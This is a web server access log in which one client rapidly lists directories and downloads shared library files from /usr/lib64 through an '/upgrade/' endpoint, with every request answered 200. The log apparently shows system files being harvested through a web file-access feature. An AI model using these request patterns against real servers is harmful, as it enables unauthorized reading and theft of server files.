45.135.193.11 - - [11/Sep/2026:23:00:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangocairo-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128457 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangocairo-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:02 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ftc HTTP/1.1" 200 6267 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ftc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:02 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2F&option=file HTTP/1.1" 200 103600 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part_err.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_part_err.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgbm.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107771 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgbm.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-3.so.0.2404.27&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 532499 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-3.so.0.2404.27&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so.0.32.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173111 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so.0.32.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlservices.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105904 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlservices.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndp.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115504 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndp.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 795105 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaom.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2135930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaom.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116198 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmemusage.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmemusage.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 223486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-0.4.so.0.31.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 295040 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-0.4.so.0.31.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so.1.2.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 306970 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so.1.2.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:14 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2FunixODBC HTTP/1.1" 200 5738 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2FunixODBC" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_fs.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127595 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_fs.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252721 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpci.so.3.7.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131086 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpci.so.3.7.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107916 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsgutils2-1.47.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 210872 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsgutils2-1.47.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmartcols.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 150806 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmartcols.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbconf.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbconf.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-bridge-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181932 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-bridge-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsndfile.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 303408 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsndfile.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsybdb.so.5.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 319169 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsybdb.so.5.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109950 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:27 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fclang HTTP/1.1" 200 5941 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fclang" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:28 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fman-db HTTP/1.1" 200 6256 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fman-db" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so.4.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so.4.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl.so.0.7.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1390520 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl.so.0.7.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_amdgpu.so.1.128.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121197 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_amdgpu.so.1.128.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibksba.so.8.13.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 225606 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibksba.so.8.13.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf.so.25.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1370514 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf.so.25.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyaml-0.so.2.0.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161179 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyaml-0.so.2.0.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:30 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsw HTTP/1.1" 200 6404 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdns-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1119467 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdns-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-client.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127738 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-client.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145630 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:32 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fmysql HTTP/1.1" 200 5931 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fmysql" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:32 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsamba HTTP/1.1" 200 11430 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsamba" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 184987 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 265532 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfribidi.so.0.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127197 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfribidi.so.0.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiptcdata.so.0.3.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124282 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiptcdata.so.0.3.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnettle.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 264956 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnettle.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpkgconf.so.3.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132223 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpkgconf.so.3.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131859 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibattr.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibattr.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 317329 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 510248 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiptcdata.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124457 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiptcdata.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108421 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcreposix.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122230 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIex-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216489 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIex-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
